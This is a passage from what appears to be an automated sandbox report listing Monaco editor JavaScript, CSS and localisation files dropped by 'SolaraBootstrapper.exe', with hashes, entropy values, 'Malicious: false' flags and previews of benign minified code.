Entropy (8bit):	5.3438024249343306
Encrypted:	false
SSDEEP:	96:pQFDHnYRsS6+/ERMr2q+q+q15Th5L2ghb6YT75wGcmvRBNa:G9Yr5rtlfL2gtViYo
MD5:	29F304873002E75868CA6B8076F3639B
SHA1:	E903954C054E76B549868A9D7261BE5FF014F3A5
SHA-256:	3A090D3736D241BB706EC8011AA31D0CF3EF13715813EB8F1100B4738B63B025
SHA-512:	51E6F5704B8CE4C802565123229A6121F27C44994905C52338F9AC92537DA2263D5E272710B59F69081016123B3E719E78D743EA168AC7D607B3FB552610C342
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/sophia/sophia", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var c=Object.prototype.hasOwnProperty;var l=(t,e)=>{for(var o in e)s(t,o,{get:e[o],enumerable:!0})},m=(t,e,o,r)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of a(e))!c.call(t,n)&&n!==o&&s(t,n,{get:()=>e[n],enumerable:!(r=i(e,n))\|\|r.enumerable});return t};var d=t=>m(s({},"__esModule",{value:!0}),t);var u={};l(u,{conf:()=>f,language:()=>g});var f={comments:{lineComment:"//",blockComme

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\sparql\sparql.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2874)
Category:	dropped
Size (bytes):	3379
Entropy (8bit):	5.255518653791173
Encrypted:	false
SSDEEP:	96:pQFDHnYRsKpK+/EG8nKVV1NwqVKzuoZFaXGTCj8K59eaQyfs0P4:G9YdcWCq8zuoZFaXGT888EaQysR
MD5:	5FD9C51E12EAA52A2CD55FCE4BF3243F
SHA1:	D79365147E89C1C9FA043A0151AB231188B06637
SHA-256:	C22B0378FAA2004AC710CE64149D231A9ED8C488B2BF84C222B19A4584C4E442
SHA-512:	29CC25057FB333281F3C4B4A2A509FEC3FF7E8A1F5F559E5F670C338FB5BC4622CA13D3FA13FCCAF8BBCC38262BD5FC2437540EB30E3CA81082CDE9CFA3D37E5
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/sparql/sparql", ["require","require"],(require)=>{.var moduleExports=(()=>{var o=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var d=(s,e)=>{for(var n in e)o(s,n,{get:e[n],enumerable:!0})},c=(s,e,n,r)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let t of a(e))!l.call(s,t)&&t!==n&&o(s,t,{get:()=>e[t],enumerable:!(r=i(e,t))\|\|r.enumerable});return s};var g=s=>c(o({},"__esModule",{value:!0}),s);var m={};d(m,{conf:()=>u,language:()=>p});var u={comments:{lineComment:"#"},brackets:[

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\sql\sql.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (10619)
Category:	dropped
Size (bytes):	11118
Entropy (8bit):	5.246135077425783
Encrypted:	false
SSDEEP:	192:G9YGEhBLxBmmO/C2WP+PeBFqKdtpxDByKMwaSlp8GGN7+HfYWvRfh+kpJAxj9PjW:GuLxB8/CRPhIN7+HLJfh+kQ9b3m
MD5:	A08684AA0EB095C6AEB92A42FFEC4B34
SHA1:	44968F7B443254F4F59634A452CA44F78D49FA3D
SHA-256:	6FF415ADFB27A1FBB87CFA40F0DA164E9314DD1DFED87A3DE39BF2C98E5DED1F
SHA-512:	A98D5BEAEFF6CFAF306CCE4152DF733B65CCE66D5F8E452A1322EBFC7897FCD07C82349A5F3F1FA577A0C76DDC755822DDC79BC9398BB6136236F02AF02F0EDF
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/sql/sql", ["require","require"],(require)=>{.var moduleExports=(()=>{var I=Object.defineProperty;var S=Object.getOwnPropertyDescriptor;var O=Object.getOwnPropertyNames;var C=Object.prototype.hasOwnProperty;var L=(T,E)=>{for(var A in E)I(T,A,{get:E[A],enumerable:!0})},e=(T,E,A,N)=>{if(E&&typeof E=="object"\|\|typeof E=="function")for(let R of O(E))!C.call(T,R)&&R!==A&&I(T,R,{get:()=>E[R],enumerable:!(N=S(E,R))\|\|N.enumerable});return T};var P=T=>e(I({},"__esModule",{value:!0}),T);var M={};L(M,{conf:()=>D,language:()=>U});var D={comments:{lineComment:"--",blockComment:["/

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\st\st.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (7725)
Category:	dropped
Size (bytes):	8222
Entropy (8bit):	5.088265541768438
Encrypted:	false
SSDEEP:	192:G9YXarEolwJJi1VJJhjO7Wmr5CV7Q7aIj:GTr9lww1bfjO7Ws5CV7pIj
MD5:	1493A7F80016267D49CAB198B49A188F
SHA1:	0893FC15EC983797FD3BC4A200D7C57B252DF080
SHA-256:	2A053BCBA1A7D58D2806F9206D643B2CDA43BEC4F0E7D50AE940A6F4322EA162
SHA-512:	FCC259023DB995A8727CCDEA1FCD63066763EF4B514F12A6DE07B2A8ADABF36597BD40AA758715BFF94545430EFE07C13DB78263B0D763920694A6917B28C942
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/st/st", ["require","require"],(require)=>{.var moduleExports=(()=>{var r=Object.defineProperty;var s=Object.getOwnPropertyDescriptor;var c=Object.getOwnPropertyNames;var i=Object.prototype.hasOwnProperty;var d=(n,e)=>{for(var t in e)r(n,t,{get:e[t],enumerable:!0})},l=(n,e,t,a)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let o of c(e))!i.call(n,o)&&o!==t&&r(n,o,{get:()=>e[o],enumerable:!(a=s(e,o))\|\|a.enumerable});return n};var _=n=>l(r({},"__esModule",{value:!0}),n);var m={};d(m,{conf:()=>p,language:()=>u});var p={comments:{lineComment:"//",blockComment:["(*"

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\swift\swift.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (5234)
Category:	dropped
Size (bytes):	5997
Entropy (8bit):	5.322492624705086
Encrypted:	false
SSDEEP:	96:pQFDHnYRsS+/Ey8SrbV1+/mQcV1+/mQ3OtPWeBQUamNgEC5yHSf3w6Bt1D0rtJP:G9Yq8SrT1x13ttr4Dr2JP
MD5:	E09D279F19A7FAB7B8E071A133A1D243
SHA1:	AD1372EB71C2F6B6615FC2A8C87A9FE046790FA5
SHA-256:	402DAA01303D2866384C42A497AA6A969A4858E4C023C6CED61C9B1E4768312D
SHA-512:	7848D9E9906F646B1C1E370236B05661DE7086755305C0663EC65E6C8D951E3B5EB2F2FA6CDB8B634E5224EB40E67887F86E3066A324FD9A7220752810DE9F87
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/swift/swift", ["require","require"],(require)=>{.var moduleExports=(()=>{var i=Object.defineProperty;var a=Object.getOwnPropertyDescriptor;var s=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(o,e)=>{for(var n in e)i(o,n,{get:e[n],enumerable:!0})},u=(o,e,n,r)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let t of s(e))!l.call(o,t)&&t!==n&&i(o,t,{get:()=>e[t],enumerable:!(r=a(e,t))\|\|r.enumerable});return o};var d=o=>u(i({},"__esModule",{value:!0}),o);var f={};c(f,{conf:()=>p,language:()=>m});var p={comments:{lineComment:"//",blockComment

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\systemverilog\systemverilog.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (7925)
Category:	dropped
Size (bytes):	8444
Entropy (8bit):	5.147974796323773
Encrypted:	false
SSDEEP:	192:G9YvrWKO8smwEcmL947wocAejKzaSWKEisQ4b9l/V:GmrdO8s/BmL947wocAISWKEi14b9v
MD5:	2D221CDD143B8693C0282EBE236FFBD3
SHA1:	5B7E79CE6B8FBAB5C0EDB6ADDCAA805BE589F9DC
SHA-256:	BD18A096FECBA5AD476E97E5065EC6EFD013EF7FBA7F9CC2E874A8B67EA0DAF0
SHA-512:	5C9AE644EF0DD28374EB37A6B40905266D53A23FAF03447ED39897BB7C68B74ECD49182EECCD0C9EE72E0DA84985F35F1ACCF815AEDDD3B8EFDB4B5657E2B95C
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/systemverilog/systemverilog", ["require","require"],(require)=>{.var moduleExports=(()=>{var r=Object.defineProperty;var s=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var c=Object.prototype.hasOwnProperty;var d=(n,e)=>{for(var t in e)r(n,t,{get:e[t],enumerable:!0})},l=(n,e,t,o)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let i of a(e))!c.call(n,i)&&i!==t&&r(n,i,{get:()=>e[i],enumerable:!(o=s(e,i))\|\|o.enumerable});return n};var p=n=>l(r({},"__esModule",{value:!0}),n);var f={};d(f,{conf:()=>u,language:()=>m});var u={comments:{lineComment:"

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\tcl\tcl.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3893)
Category:	dropped
Size (bytes):	4392
Entropy (8bit):	5.207141315230274
Encrypted:	false
SSDEEP:	96:pQFDHnYRs4+/EoyV1+/0V1+/j7hv4bwceyWPO3lvdIGQc:G9YVxk7BlZ6+Pc
MD5:	6C52F931F23691C21B3725ACC77F4EE7
SHA1:	F30A48BBCB4932BC374DC73B8520BFB620C88E8D
SHA-256:	CDF4F3FD5D755A43D3A7F76D22559140BF49751E063A2CE444B818FD60C869F7
SHA-512:	DECBD06018AF7C29B529203771D6CC7CA23CB7AFC9CE11E4134CAD4A18F26ADEC4D55C34B73F14FABC3795040A9DC47376EA66CAFD43259BABB4926BF78B527E
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/tcl/tcl", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var r=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(t,e)=>{for(var o in e)s(t,o,{get:e[o],enumerable:!0})},p=(t,e,o,i)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of a(e))!l.call(t,n)&&n!==o&&s(t,n,{get:()=>e[n],enumerable:!(i=r(e,n))\|\|i.enumerable});return t};var u=t=>p(s({},"__esModule",{value:!0}),t);var g={};c(g,{conf:()=>k,language:()=>d});var k={brackets:[["{","}"],["[","]"],["(",")"]],au

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\twig\twig.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text, with very long lines (6295)
Category:	dropped
Size (bytes):	6796
Entropy (8bit):	5.3253235674910595
Encrypted:	false
SSDEEP:	96:pQFDHnYRsyV//YSkzIABXV1+/6mQhX1aJt0lD2Ci2Ihhyc1lkaA7O/N6EHZQg6EJ:G9YJ+SRa+q8J+lD2Ci+5c/7ZQT9kD
MD5:	DCE32076AE8DEFBB172D7E3FCB4B286D
SHA1:	1180278EC6454B62762A2349A607B26FB9A4CF28
SHA-256:	49989D7C64D2272AB54BD0D7C5008083CB0A4B1BC9285E672893293B2614B14E
SHA-512:	50358FC6B0A0E4B877E484820F4B7A762AF0C85621275D2393DE44718ABB46490854934A2B77C4B3DA4A8E87F48BCF6A20A3B59FFA4F6630DD093B0DCD006304
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/twig/twig", ["require","require"],(require)=>{.var moduleExports=(()=>{var m=Object.defineProperty;var l=Object.getOwnPropertyDescriptor;var n=Object.getOwnPropertyNames;var a=Object.prototype.hasOwnProperty;var s=(e,t)=>{for(var r in t)m(e,r,{get:t[r],enumerable:!0})},d=(e,t,r,o)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let i of n(t))!a.call(e,i)&&i!==r&&m(e,i,{get:()=>t[i],enumerable:!(o=l(t,i))\|\|o.enumerable});return e};var p=e=>d(m({},"__esModule",{value:!0}),e);var g={};s(g,{conf:()=>h,language:()=>c});var h={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!\@\$

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\typescript\typescript.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (5987)
Category:	dropped
Size (bytes):	6500
Entropy (8bit):	5.376551819278677
Encrypted:	false
SSDEEP:	96:pQFDHnYRsMV//UaNhuanx+rzmcZmXYYg1V1+KgqIqynytBGMBb6IoxxwpcaxuSWS:G9YJBhuq+rS70K0SdFSWl4Z
MD5:	B982EDEF10BB0BAE8DF25B06447BE228
SHA1:	86F1D6F0C460D3E27DD4C2600E20103680068889
SHA-256:	3D69304A326C73EE980632AA45ABD086EE1A6509BDF0F689A38B8F433ADCEF32
SHA-512:	BA3F4B6BD671FFA75C829C32D943FCB41CBED3F0F61582E977F4E5AA11BDA60F4CB85C0CE1BCA921AB7B898571073EF63F8FB356D0678C844770A4F6DCE28789
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/typescript/typescript", ["require","require"],(require)=>{.var moduleExports=(()=>{var l=Object.create;var s=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var b=Object.getPrototypeOf,u=Object.prototype.hasOwnProperty;var f=(e=>typeof require!="undefined"?require:typeof Proxy!="undefined"?new Proxy(e,{get:(t,n)=>(typeof require!="undefined"?require:t)[n]}):e)(function(e){if(typeof require!="undefined")return require.apply(this,arguments);throw new Error('Dynamic require of "'+e+'" is not supported')});var k=(e,t)=>()=>(t\|

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\vb\vb.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (6113)
Category:	dropped
Size (bytes):	6610
Entropy (8bit):	5.1777692177638786
Encrypted:	false
SSDEEP:	96:pQFDHnYRsbt+/EBY7SVNv2q+q17qcqv5FX5BmzpMCgkxIcKYWKkVe9NuHPe7Uiv8:G9YAM7m1W5FJOZxWYlkVeSewh
MD5:	1737FFE56ED46E9DE325B390791A1927
SHA1:	44C0283ED590DC935C94AC13E11E5A3BE36399A9
SHA-256:	36BD2530715B7D696F719207915A70534051B82EFF1F3888091759BF5E6D309D
SHA-512:	5FEBCB639063F58F06C0B51C2AEADB683AF25A8219BBBCB42DBBB151F8A9BD041269434D591297BD204C415023A6DF8406232E2C0281456B921D676C28DCCF46
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/vb/vb", ["require","require"],(require)=>{.var moduleExports=(()=>{var r=Object.defineProperty;var a=Object.getOwnPropertyDescriptor;var d=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var i=(n,e)=>{for(var t in e)r(n,t,{get:e[t],enumerable:!0})},c=(n,e,t,s)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let o of d(e))!l.call(n,o)&&o!==t&&r(n,o,{get:()=>e[o],enumerable:!(s=a(e,o))\|\|s.enumerable});return n};var u=n=>c(r({},"__esModule",{value:!0}),n);var k={};i(k,{conf:()=>g,language:()=>p});var g={comments:{lineComment:"'",blockComment:["/*",

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\wgsl\wgsl.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	C source, ASCII text, with very long lines (1762)
Category:	dropped
Size (bytes):	8146
Entropy (8bit):	5.246964906382546
Encrypted:	false
SSDEEP:	192:G9Y/rTF+NFl2Mc4eMRDRYw/FzvKkb7UXwIez9+j:G+rTF+loU//FzvDGwIez9+j
MD5:	3266BE48A7BFD47578847E67C04B7148
SHA1:	85BCEC32919F18F275A6BC83141169D8C9F5623D
SHA-256:	175FDFC24F48C096A03509F731BA387F30F9E40EF5B783F7383C88F6CFD961B1
SHA-512:	AF40F1C526090C5CB7A090F197E7B80B5FA21CA75B3677D706C90807DCB616C75DCF1E540F1CF8E31B9854D1D74DC09057F2F2DDF8EA346F2A956E09F38B8BAA
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/wgsl/wgsl", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var l=Object.getOwnPropertyNames;var u=Object.prototype.hasOwnProperty;var p=(t,e)=>{for(var a in e)s(t,a,{get:e[a],enumerable:!0})},d=(t,e,a,o)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let i of l(e))!u.call(t,i)&&i!==a&&s(t,i,{get:()=>e[i],enumerable:!(o=m(e,i))\|\|o.enumerable});return t};var x=t=>d(s({},"__esModule",{value:!0}),t);var F={};p(F,{conf:()=>f,language:()=>L});var f={comments:{lineComment:"//",blockComment:[

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\xml\xml.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text, with very long lines (2993)
Category:	dropped
Size (bytes):	3492
Entropy (8bit):	5.440005861181836
Encrypted:	false
SSDEEP:	96:pQFDHnYRsscV//yaAAkJmQEmQkBcBreLo:G9YkWPIE5e1
MD5:	DAC8ECB560936AD932496249398FAB3A
SHA1:	F4CF96F4910C83CB6030167005105DB4C68E79CD
SHA-256:	05C1CA7A4076664A7B1247BBE10680821989D8646EED1912F9D3C5A8CE8BC817
SHA-512:	0EFB46595168C2D04D5E844BE6597045F1A11C41AB3D36D4C28616F3651492F6CCD9BD4D9E80C154EFED20D45D25F0CCAECB58485AFC4487473EC79FFDDBB588
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/xml/xml", ["require","require"],(require)=>{.var moduleExports=(()=>{var u=Object.create;var m=Object.defineProperty;var g=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var k=Object.getPrototypeOf,x=Object.prototype.hasOwnProperty;var f=(e=>typeof require!="undefined"?require:typeof Proxy!="undefined"?new Proxy(e,{get:(t,n)=>(typeof require!="undefined"?require:t)[n]}):e)(function(e){if(typeof require!="undefined")return require.apply(this,arguments);throw new Error('Dynamic require of "'+e+'" is not supported')});var w=(e,t)=>()=>(t\|\|e((t={exports

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\yaml\yaml.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (4595)
Category:	dropped
Size (bytes):	5096
Entropy (8bit):	5.475323240087475
Encrypted:	false
SSDEEP:	96:pQFDHnYRs5QYio/r/1v7RmV1+/0V1+/jkrBU+A/B1390elEZVOQaB9+aB9wd8rCi:G9Ys8IRNix1rOP/BEIIVOJJmqoE
MD5:	46F89D5C397EE1DFDE20917594200B76
SHA1:	582F5A021E97BD19D96AA03FA2ABB1402937D9CC
SHA-256:	040BA1DE2263EB7785C9C810D3C8DD0DA6B119B02C104DA055DC45AB7B20CF72
SHA-512:	A9F22A22903D5D3418B6A757828000603489AC43C7CF1FA1B21AF5AF02E561474A07390C974586FA8D169311D681537D51C25967D113911A93E9A1D16758BD24
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/yaml/yaml", ["require","require"],(require)=>{.var moduleExports=(()=>{var m=Object.create;var l=Object.defineProperty;var b=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var w=(e=>typeof require!="undefined"?require:typeof Proxy!="undefined"?new Proxy(e,{get:(n,t)=>(typeof require!="undefined"?require:n)[t]}):e)(function(e){if(typeof require!="undefined")return require.apply(this,arguments);throw new Error('Dynamic require of "'+e+'" is not supported')});var S=(e,n)=>()=>(n\|\|e((n={expor

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\editor\editor.main.css

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (65256)
Category:	dropped
Size (bytes):	115427
Entropy (8bit):	4.944339734080559
Encrypted:	false
SSDEEP:	1536:0cGIS2lRL4PfPuPjPAPGPoNh4wnlMQBmBkCsJsE0akxPZP/PGPCju7:QUq5BmBkCsJsE0akE
MD5:	DEFFA85F9389710F5ED0C1B4BF432459
SHA1:	A3E05DD6FD435E746D21E624A0E00E6149C2B196
SHA-256:	764A3DDE806A7414402E87CE4BF2DA4F5BB6F36910D887D5C8EE985C1BDF92BD
SHA-512:	13DE3B8695763AC2FFC62BB2D31D06153187C41ED30DE2B791D499B4A9A53FF4576457FF2BAAD5131582FD308A5C47BC089DB2EF562025FC80C59C4B6DF389BD
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/.monaco-action-bar{white-space:nowrap;height:100%}.monaco-action-bar .actions-container{display:flex;margin:0 auto;padding:0;height:100%;width:100%;align-items:center}.monaco-action-bar.vertical .actions-container{display:inline-block}.monaco-action-bar .action-item{display:block;align-items:center;justify-content:center;cursor:pointer;position:relative}.monaco-action-bar .action-item.disabled{cursor:default}.monaco-action-bar .action-item .codicon,.monaco-action-bar .action-item .icon{display:block}.monaco-action-bar .action-item .codicon{display:flex;align-items:center;width:16px;height:16px}.monaco-action-bar .action-label{display:flex;font-size:

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\editor\editor.main.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (65256)
Category:	dropped
Size (bytes):	3469378
Entropy (8bit):	5.415084325521743
Encrypted:	false
SSDEEP:	49152:ryuU6Sd8m7DYdvOeRGIoXbNN6TIClClxsZQEQ66SuJsI5pBCSGp5nzxFn7ygkZ08:4zSQ
MD5:	40C3107D0D6770823D1936A85BFC99A4
SHA1:	5C9C596EAE2CDAEFD6181DFF9A57D710C9507181
SHA-256:	A79692B8EABD24E0662310C8505D91AB8B85F17DB997E4B8F8838980B25BF6DF
SHA-512:	D6AF8797875A572359DD11BEF64DAB4128AF658F3717177AF483621E9815FBBAB6A27093565694A4B80074A99FEB51CE6F2C6079CDA60E2AC7307FBAFB7381D3
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/(function(){var ie=["exports","require","vs/base/common/lifecycle","vs/nls","vs/nls!vs/editor/editor.main","vs/editor/common/core/range","vs/base/common/event","vs/base/browser/dom","vs/platform/instantiation/common/instantiation","vs/base/common/errors","vs/css!vs/editor/editor.main","vs/editor/common/core/position","vs/base/common/strings","vs/base/common/arrays","vs/base/common/async","vs/platform/contextkey/common/contextkey","vs/editor/browser/editorExtensions","vs/base/common/platform","vs/editor/common/services/languageFeatures","vs/base/common/cancellation","vs/base/common/types","vs/editor/common/editorContextKeys","vs/base/common/uri","vs/

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\editor\editor.main.nls.de.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (42241)
Category:	dropped
Size (bytes):	120585
Entropy (8bit):	4.947985274209808
Encrypted:	false
SSDEEP:	1536:t84Mc/7/by4xCtVuQ2AhURa51M9falYTu4pO/0VSivNpLFyRASXtAkcRAyy37dHh:t8Uy4xCoOnuTWjzQ3U
MD5:	6BD08563450364CBC987CCD57F00AA5E
SHA1:	0438DDBCFAA4E25743398709E2FB34FFDD0E0401
SHA-256:	C17A7143BFEC45615DFE279453207810386CF2DDB1765BB51D5EF7588E431C59
SHA-512:	CDE6FD753BDB1BB1871D691249A3A44CBF4E1A54D96707A9A8D52C2930CEC8E45AC546221CF293B144CDBC1DAD7176C0EC083A18A2431CE8F731B1268901B379
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/editor/editor.main.nls.de",{"vs/base/browser/ui/actionbar/actionViewItems":["{0} ({1})"],"vs/base/browser/ui/findinput/findInput":["Eingabe"],"vs/base/browser/ui/findinput/findInputToggles":["Gro\xDF-/Kleinschreibung beachten","Nur ganzes Wort suchen","Regul\xE4ren Ausdruck verwenden"],"vs/base/browser/ui/findinput/replaceInput":["Eingabe","Gro\xDF-/Kleinschreibung beibehalten"],"vs/base/browser/ui/hover/hoverWidget":['\xDCberpr\xFCfen Sie dies in der barrierefreien Ansicht mit "{0}".','\xDCberpr\xFCfen Sie dies in der barrierefreien Ansicht \xFCber den Befehl "Barrierefreie Ansicht \xF6ffnen", der zurzeit nicht \xFCber eine Tastenzuordnu

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\editor\editor.main.nls.es.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (42367)
Category:	dropped
Size (bytes):	120935
Entropy (8bit):	4.685804088206268
Encrypted:	false
